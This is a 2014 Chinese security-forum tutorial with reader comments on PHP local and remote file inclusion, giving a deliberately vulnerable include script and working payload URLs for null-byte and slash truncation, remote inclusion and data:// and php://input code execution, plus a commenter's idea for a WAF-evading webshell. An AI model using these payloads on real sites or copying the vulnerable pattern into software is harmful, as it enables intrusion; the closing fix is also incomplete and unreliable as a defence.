【PHP学习】文件包含的那些事

2014-04-27 14:53:32 50 5902 5
/*学习PHP中,依然是搜索引擎加上个人实践的结果
**
抛砖引玉~
**Author
音符

*/


0x00  
包含漏洞成因
首先需要了解include()函数与require()函数,他们会将所包含的任何格式的文件以php形式执行。
两个函数功能基本相同,此外只有当所包含的文件不存在的时候才会体现两个函数的不同,如图。
<?php 
echo "It is How include() run.\r\n";
include('no.no');
echo 'XDSEC';

?>


<?php
echo "It is How require() run.\r\n";
require('no.no');
echo 'XDSEC';

?>


很清楚,如果是include的话,只会返回一个warning,后续代码可以继续执行,然后如果是require的话,则返回一个致命错误,脚本停止执行。
此外,与此相似的还有require_once(),include_once()两个函数,效果大同小异。

0x10 How to use
test.php:
<?php 
$content = $_GET['content'];
include($content);
?>
0x11
包含已上传文件
Usage:test.php?content=../upload/x.jpg
适用于存在上传,但是无法上传可执行脚本的情况下,结果如图。



0x12 包含截断
然而在实战中,我们遇到的代码可能是这样的
include($content."htm");  //
上例结果则包含x.jpg.htm
这就需要利用到%00截断,我们知道字符串以\0为结束符,那么include函数只能读取到x.jpg正是我们上传的文件。
Usage:

但是这个是当gpc=off的时候我们可以用%00截断。
但是当gpc=ON时,%00会被转义,我们需要其他方法,有资料显示可以用/截断,但是需要一定长度的/,所以我们写一个脚本来测试,当存在多少个/时可以截断后面的字符。
<?php 
$content = 'x.jpg';
for($i=1;$i<=1000;$i++){
  $content .="/";
$a = @include($content.".htm");  //包含错误则不回显
if($a == 1){
  echo $i;    //包含成功时返回/个数
}
}
于是乎
Usage:
http://127.0.0.1/test.php?content=x.jpg//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////   (230/)



以上就是常见的LFILocal File Inclusion)的方法,另外,当allow_url_fopen = On并且allow_url_include = On时,则可以包含远程文件。

0x13 RFI

利用于不可上传文件时。

Usage: http://127.0.0.1/test.php?content=http://10.11.221.133/x.jpg%00

更多的,当gpc=on时,RFI可以用?来截断,如图。


当然,如果有如下过滤

<?php
$content = $_GET['content'];
if (strrpos($content, "http")===false) {
  include($content.".htm");
}
else {
  echo "Wrong File!";
}
?>

限制了CONTENT中不能出现http字样,那么就无法远程包含了。另有绕过方法。


0x14 PHP伪协议

关于php封装协议的内容,请查阅php手册相关。

在此只是举出几例应用。

PHP 5.2起,可以用data://封装数据流

Usage: http://127.0.0.1/test.php?content=data://text/plain,<?php%20phpinfo();?>


PHP 4.3.0 起支持
php://output

php://input,

而利用php://input输入流,则相当于拿到一个可以任意执行的漏洞。


Usage:


只要我们输入流提交任意命令都会当成一个php语句来执行。猥琐的利用。


0x15 etc

Apache日志包含,系统文件包含,目录遍历。。。各种牛逼漏洞不明觉厉,可惜是linux下的,我对linux不了解,就不班门弄斧了,等待各位来补充。


0x20 How To fix it

<?php
$content = $_GET['content'];
if (strrpos($content, "..")===false) {
  include("temp/".$content.".htm");
}
else {
  echo "Wrong File!";
}
?>

预先将要包含的文件放入一个temp文件夹,这样RFI跟伪协议都行不通了,然后禁止content中出现..来禁止跳到其他目录.

PS:这个脚本是我自己写的,有错的话希望大家不吝赐教(求绕过,求爆草)。


Reffer

https://www.t00ls.com/viewthread.php?tid=22603&highlight=%E5%8C%85%E5%90%AB

http://blog.csdn.net/cnbird2008/article/details/8520667

http://www.2cto.com/Article/201304/201062.html

关于作者

音符35篇文章762篇回复西安电子科技大学 学生

评论50次

要评论?请先  登录  或  注册
  • 30楼
    2014-5-16 13:49

    来学xi一下。

  • 29楼
    2014-5-12 18:31

    好文章,赞

  • 28楼
    2014-5-12 15:50

    下面的这个有趣的例子充分说明了这两个函数之间的不同。 $i = 1; while ($i < 3) { require("somefile.$i"); $i++; } 在这段代码中,每一次循环的时候,程序都将把同一个文件包含进去。很显然这不是程序员的初衷,从代码中我们可以看出这段代码xi望在每次循环时,将不同的文件包含进来。如果要完成这个功能,必须求助函数include(): $i = 1; while ($i < 3) { include("somefile.$i"); $i++; } 看到require 和include 还有个这种区别- -不过还是不太明白原理- -!

  • 27楼
    2014-5-3 08:14

    音符牛的文章写的真好,几年前就看过你的教程了,PHP啊,我好头疼,学起来感觉难以深入

  • 26楼
    2014-4-29 23:39

    很好,很详细,后面不知道的内容也学xi了解到了。!

  • 25楼
    2014-4-29 19:58

    好啊,感谢分享

  • 24楼
    2014-4-29 09:30
    firexy

    以后挂一句话什么的,是不是可以考虑放个远程包含上去,密码设置的话,可以用一个判断比如:xxx?content=passworddata://text/plain,<?php%20phpinfo();?>先用一个字符串分割,去除password和后面的内容,如果password正确,后面的内容被包含。

    1

    嗯,你的思路需要allow_url_open跟allow_url_include为on的支持,是个写马的方法,可以绕过安全狗

  • 23楼
    2014-4-29 09:12

    以后挂一句话什么的,是不是可以考虑放个远程包含上去,密码设置的话,可以用一个判断 比如:xxx?content=passworddata://text/plain,<?php%20phpinfo();?> 先用一个字符串分割,去除password和后面的内容,如果password正确,后面的内容被包含。

  • 22楼
    2014-4-28 17:42

    这贴精彩..值得收藏

  • 21楼
    2014-4-28 17:21

    Mark 以前完全没这种思路 学xi了

  • 20楼
    2014-4-28 13:21

    哈,我的失误,没有特地再去建一个文件夹来放jpg文件

  • 19楼
    2014-4-28 13:03

    科普好文,赞一个

  • 18楼
  • 17楼
    2014-4-28 08:42
    dragon

    php://output和php://input这个怎么利用的?楼主

    1
  • 16楼
    2014-4-27 22:25
    dragon

    php://output和php://input这个怎么利用的?楼主

    1

    不是有图么

  • 15楼
    2014-4-27 21:34

    php://output 和 php://input 这个怎么利用的?楼主

  • 14楼
    2014-4-27 21:32

    赞,感谢分享

  • 13楼
    2014-4-27 21:19

    支持 lz多发点这类文章啊

  • 12楼
    2014-4-27 20:39
    Gu3st

    哈哈哈,前两天看到你说不会代码审计神马的。现在卯起来来学xi了啊???哈哈哈大赞楼主精神~~~

    1

    共同学xi哈哈

  • 11楼
    2014-4-27 20:39
    Xser233

    用/截断那里,/的数量是根据那个文件的路径长度来算的,在windows下,当 文件路径总长度 + “/”的长度 = 258 时就能成功

    1

    哦?是这样啊,学xi了。记录下来